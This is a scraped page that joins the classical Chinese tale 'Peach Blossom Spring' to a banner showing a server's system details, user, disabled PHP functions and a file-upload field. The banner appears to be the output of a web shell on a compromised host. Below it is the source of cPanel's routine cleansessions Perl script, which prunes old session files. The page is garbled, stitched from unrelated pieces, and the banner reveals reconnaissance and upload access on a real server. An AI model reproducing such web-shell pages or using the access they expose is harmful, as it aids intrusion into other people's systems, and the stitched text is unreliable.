晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /scripts/ |
Upload File : |
#!/usr/local/cpanel/3rdparty/bin/perl
# cpanel - scripts/cleansessions Copyright 2022 cPanel, L.L.C.
# All rights reserved.
# copyright@cpanel.net http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited
package scripts::cleansessions;
use strict;
use warnings;
use Getopt::Long ();
use Cpanel::PwCache ();
use Cpanel::PwCache::Build ();
use Cpanel::Locale 'lh';
# Constants
use constant ONEDAY => 60 * 60 * 24; # 24 hours - time in seconds
use constant MAX_PHP_SESSION_AGE => ONEDAY; # 24 hours
use constant MAX_PASSRESET_SESSION_AGE => ONEDAY * 2; # 48 hours
use constant MAX_PASSRESET_FLOOD_AGE => MAX_PASSRESET_SESSION_AGE + ONEDAY; # 72 hours
use constant MAX_INVITE_SESSION_AGE => ONEDAY * 2; # 48 hours
use constant MAX_INVITE_FLOOD_AGE => MAX_INVITE_SESSION_AGE + ONEDAY; # 72 hours
our $flood_pattern = qr/^\.floodprotect-/;
sub RESET_DIR { return '/var/cpanel/passreset' }
sub INVITE_DIR { return '/var/cpanel/invites' }
sub TEAM_INVITE_DIR { return '/var/cpanel/team_invites' }
# Application state
our $VERBOSE = 0;
our $HELP = 0;
run(@ARGV) unless caller;
sub run {
my (@args) = @_;
Getopt::Long::GetOptionsFromArray(
\@args,
verbose => \$VERBOSE,
help => \$HELP
) or _die_usage();
_die_usage() if $HELP;
Cpanel::PwCache::Build::init_passwdless_pwcache();
clean_php_app_sessions();
clean_password_reset_sessions();
clean_invite_sessions();
print "Done\n" if $VERBOSE;
return;
}
sub clean_php_app_sessions {
my $now = time();
my @APPS = qw( phpmyadmin phppgadmin roundcube );
foreach my $app (@APPS) {
print lh()->maketext( 'Searching for “[_1]” sessions more than [quant,_2,day,days] old …', $app, MAX_PHP_SESSION_AGE / ONEDAY ) . "\n" if $VERBOSE;
## The correct name is e.g. cpanelroundcube without the dash.
my $homedir = _gethomedir( 'cpanel' . $app );
next if !$homedir;
my $tmpdir = $homedir . '/tmp';
opendir( my $session_files, $tmpdir )
or next;
while ( my $qf = readdir($session_files) ) {
$qf =~ s/\///g; #not really possible
next if ( $qf !~ /^sess/ );
my $abs_path = $tmpdir . '/' . $qf;
my $mtime = ( stat($abs_path) )[9];
if ( $now - $mtime > MAX_PHP_SESSION_AGE() ) {
remove($abs_path);
}
}
closedir $session_files;
}
return;
}
sub clean_password_reset_sessions {
print lh()->maketext( 'Searching for reset password sessions more than [quant,_1,day,days] old …', MAX_PASSRESET_SESSION_AGE / ONEDAY ) . "\n" if $VERBOSE;
# Clean the session files: anything not matching .floodprotect-
clean_expired_files( RESET_DIR, $flood_pattern, 1, MAX_PASSRESET_SESSION_AGE );
print lh()->maketext( 'Searching for reset password flood control files more than [quant,_1,day,days] old …', MAX_PASSRESET_FLOOD_AGE / ONEDAY ) . "\n" if $VERBOSE;
# Clean the flood control files: : anything matching .floodprotect-
clean_expired_files( RESET_DIR, $flood_pattern, 0, MAX_PASSRESET_FLOOD_AGE );
return;
}
sub clean_invite_sessions {
print lh()->maketext( 'Searching for invitation sessions more than [quant,_1,day,days] old …', MAX_INVITE_SESSION_AGE / ONEDAY ) . "\n" if $VERBOSE;
# Clean the session files: anything not matching .floodprotect-
clean_expired_files( INVITE_DIR, $flood_pattern, 1, MAX_INVITE_SESSION_AGE );
clean_expired_files( TEAM_INVITE_DIR, $flood_pattern, 1, MAX_INVITE_SESSION_AGE );
print lh()->maketext( 'Searching for invitation flood control files more than [quant,_1,day,days] old …', MAX_INVITE_FLOOD_AGE / ONEDAY ) . "\n" if $VERBOSE;
# Clean the flood control files: : anything matching .floodprotect-
clean_expired_files( INVITE_DIR, $flood_pattern, 0, MAX_INVITE_FLOOD_AGE );
clean_expired_files( TEAM_INVITE_DIR, $flood_pattern, 0, MAX_INVITE_FLOOD_AGE );
return;
}
sub clean_expired_files {
my ( $dir, $match, $not, $max_age ) = @_;
my $now = time();
if ( opendir my $dh, $dir ) {
while ( my $item = readdir $dh ) {
# skip these items, which are not sessions:
# . and ..
next if $item =~ /^\.$|^\.\.$/;
my $check = $not ? $item !~ $match : $item =~ $match;
if ($check) {
my $abs_path = $dir . '/' . $item;
my $mtime = ( stat $abs_path )[9];
if ( $now - $mtime > $max_age ) {
remove($abs_path);
}
}
}
closedir $dh;
}
}
sub remove {
my ($abs_path) = @_;
my $ok = unlink $abs_path;
my $err = $!;
if ( $ok && $VERBOSE ) {
print " " . lh()->maketext( 'The system removed “[_1]”.', $abs_path ) . "\n";
}
elsif ( !$ok ) {
print STDERR " " if $VERBOSE;
print STDERR lh()->maketext( 'The system failed to remove “[_1]” because of the following error: [_2]', $abs_path, $err ) . "\n";
}
return;
}
sub _gethomedir {
my ($user) = @_;
return Cpanel::PwCache::gethomedir($user);
}
sub _die_usage {
die <<EOF;
usage: $0 [--verbose] [--help]
Cleans up the various session files for the following:
* application session files for the following apps if installed:
- phpmyadmin
- phppgadmin
- roundcube
* expired cPanel Password Reset session files and flood protection files.
* expired cPanel Subaccount Invitation session files and flood protection files.
If you specify --verbose, you will get detailed output indicating what files were
removed from the system.
If you specify --help, you will get this help output.
EOF
}